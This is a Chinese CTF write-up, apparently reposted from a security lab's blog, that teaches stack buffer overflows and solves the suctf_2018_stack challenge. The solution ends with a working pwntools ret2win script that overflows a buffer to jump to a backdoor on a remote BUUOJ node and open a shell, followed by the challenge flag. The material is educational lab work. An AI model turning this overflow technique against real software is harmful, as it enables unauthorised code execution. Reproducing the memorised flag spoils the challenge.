栈溢出方法(suctf_2018_stack)

admin 2022年10月26日09:05:32评论48 views字数 1307阅读4分21秒阅读模式

出品|长白山攻防实验室(ID:逆向萌新)

栈溢出方法(suctf_2018_stack)

声明

以下内容,来自长白山攻防实验室的逆向萌新作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。

栈溢出方法(suctf_2018_stack)

什么是栈

栈(stack)又名堆栈,它是一种运算受限的线性表。限定仅在表尾进行插入和删除操作的线性表。这一端被称为栈顶,相对地,把另一端称为栈底。向一个栈插入新元素又称作进栈、入栈或压栈,它是把新元素放到栈顶元素的上面,使之成为新的栈顶元素;从一个栈删除元素又称作出栈或退栈,它是把栈顶元素删除掉,使其相邻的元素成为新的栈顶元素。
栈溢出方法(suctf_2018_stack)

栈溢出的利用

对于栈来说,栈是有两个操作,入栈(push)和出栈(push)这两个操作,栈还是先进后出的一个模式,所以可以无限制往下压,先去运行。

我这里用的是x32dbg。
栈溢出方法(suctf_2018_stack)
这是一个窗口,分别代表的作用是什么。
栈溢出方法(suctf_2018_stack)
在开辟完栈,才会对栈进行操作,简单的说明,就是我开辟一段地区,这里就是给我用的一块区域。
但是这个栈的大小是有限度的,这个栈的大小是0x24的大小。
栈溢出方法(suctf_2018_stack)
在没有cancry的保护下,那么被溢出了,还是被正常的执行下去,但是在windows这些中,可能会报错,退出程序,我现在把这0x24空间,填满,现在看我的栈空间,我这里是00AFF278到00AFF254,是我自己申请的空间大小。
栈溢出方法(suctf_2018_stack)
开始填充,现在看00AFF24C这里,被覆盖掉了
栈溢出方法(suctf_2018_stack)
被覆盖成了AAAAAAA,之后我开始释放这个,由于我直接把AAAAAAA给了给了ebp,之后ret,程序就跑飞了,因为我这里里面并没有0AAAAAAA这个地址,之后引发报错。
栈溢出方法(suctf_2018_stack)
我们来利用excel表格,来看一下。
如果输入的比栈的大,那么就会出现这种清空
假设:我这个栈的大小是0x24,但是我可以输入0x50字节的大小。
栈溢出方法(suctf_2018_stack)
做题实验一下。

栈溢出方法(suctf_2018_stack)

suctf_2018_stack

解析

下载附件,之后checksec一下
栈溢出方法(suctf_2018_stack)
64位,无保护的文件。
栈溢出方法(suctf_2018_stack)
漏洞的产生点在这里,这个buf可以从窗口下获取0x30个字节,但是在栈内,只有0x20个字节。
栈溢出方法(suctf_2018_stack)
画个图
栈溢出方法(suctf_2018_stack)
这样就可以造成栈溢出,发现这个可执行文件中,还有一个后门。
栈溢出方法(suctf_2018_stack)
所以我们先让这个buf溢出这个栈,之后加上/bin/sh的地址,即可。

栈溢出方法(suctf_2018_stack)

脚本

from pwn import *context(os = 'linux',arch = 'amd64',log_level = 'debug')#p = process('./SUCTF_2018_stack')p = remote('node4.buuoj.cn',27398)system = 0x0400677#payload = b'填充的字符'*(buf的大小加上覆盖返回值的大小) + p64(shellcode的地址)payload = b'a'*(0x20+0x08)+p64(system)p.sendline(payload)p.interactive()

最后获得flag为:

flag{94336642-f073-4380-8ba7-6dc4a3b34b1c}


栈溢出方法(suctf_2018_stack)
栈溢出方法(suctf_2018_stack)
栈溢出方法(suctf_2018_stack)

▇ 扫码关注我们 ▇

长白山攻防实验室

学习最新技术知识


原文始发于微信公众号(长白山攻防实验室):栈溢出方法(suctf_2018_stack)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月26日09:05:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   栈溢出方法(suctf_2018_stack)https://cn-sec.com/archives/1372195.html

发表评论

匿名网友 填写信息